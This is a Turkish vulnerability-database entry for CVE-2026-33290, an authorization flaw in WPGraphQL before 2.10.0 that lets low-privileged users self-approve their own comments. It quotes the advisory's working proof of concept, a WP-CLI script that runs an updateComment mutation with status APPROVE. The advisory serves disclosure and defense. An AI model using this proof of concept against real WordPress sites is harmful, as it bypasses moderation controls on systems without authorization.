Arama; açıklama metninde, ürün ve üretici adlarında ve açık türlerinde (Türkçe ya da İngilizce, eksik yazımla da) yapılır.

CVE-2026-33290

Puan4.3 Orta
CVSS 3.1
İstismar olasılığı (EPSS)0.34%
önümüzdeki 30 gün içinde
KategoriYetki atlatma ve erişim denetimi
Yayımlanma24 Mart 2026
Son güncelleme: 17 Haziran 2026

Kısaca

Bu açık internet üzerinden, uzaktan, sıradan bir kullanıcı hesabıyla, kullanıcının bir şey yapmasına gerek kalmadan istismar edilebilir.

Etkisi sınırlı: verilerin değiştirilmesi.

Açık türü: Yetkilendirme eksikliği.

✨ Yapay zekâ yorumu

Kısa bir reklam izledikten sonra bu açığın sade bir dille yorumu gösterilir. Yapay zekâ hata yapabilir; kararlarınızı resmi kaynaklara göre verin.

Resmi açıklama (İngilizce)

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Açık türü: CWE-862 – Yetkilendirme eksikliği

Kaynaklar

Aynı kategoriden son açıklar

  • CVE-2026-56477 Yüksek 8.8
    HCL Telco Observability is affected by an Improper Authorization vulnerability in its admin endpoint access-control checks, which could allow a remote authenticated attacker to submit a valid, lower-privileged JWT…
    Yetki atlatma ve erişim denetimi · 30 Kasım 2026
  • CVE-2026-133644 Puanlanmadı
    Incorrect authorization vulnerability in Apache Struts. An action can restrict which HTTP methods it accepts with the HTTP method annotations such as @HttpPost. When the annotation is placed on the action's default…
    Yetki atlatma ve erişim denetimi · 30 Kasım 2026
  • CVE-2026-133734 Orta 6
    Joomla Extension - phoca.cz - Missing authorization for file actions in Phoca Commander 1.0.0-6.1.4 - Missing authorization checks for file actions allow users with access to the component to create, upload, rename,…
    Yetki atlatma ve erişim denetimi · 30 Kasım 2026
  • CVE-2026-133729 Orta 6.4
    Joomla Extension - phoca.cz - Path Traversal vulnerability in Phoca Commander 1.0.0-6.1.4 - Improper limitation of file and folder names for copy, move, delete and rename actions lead to path traversal vulnerabilities.…
    Yetki atlatma ve erişim denetimi · 30 Kasım 2026
  • CVE-2026-133649 Puanlanmadı
    Incorrect authorization vulnerability in Apache Struts. Struts can restrict an action to a set of HTTP methods through annotations declared either on the action class or on the action method. In Struts 6.9.0 a…
    Yetki atlatma ve erişim denetimi · 30 Kasım 2026
  • CVE-2026-81060 Yüksek 7.8
    Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability. A low privileged local attacker…
    Yetki atlatma ve erişim denetimi · 30 Kasım 2026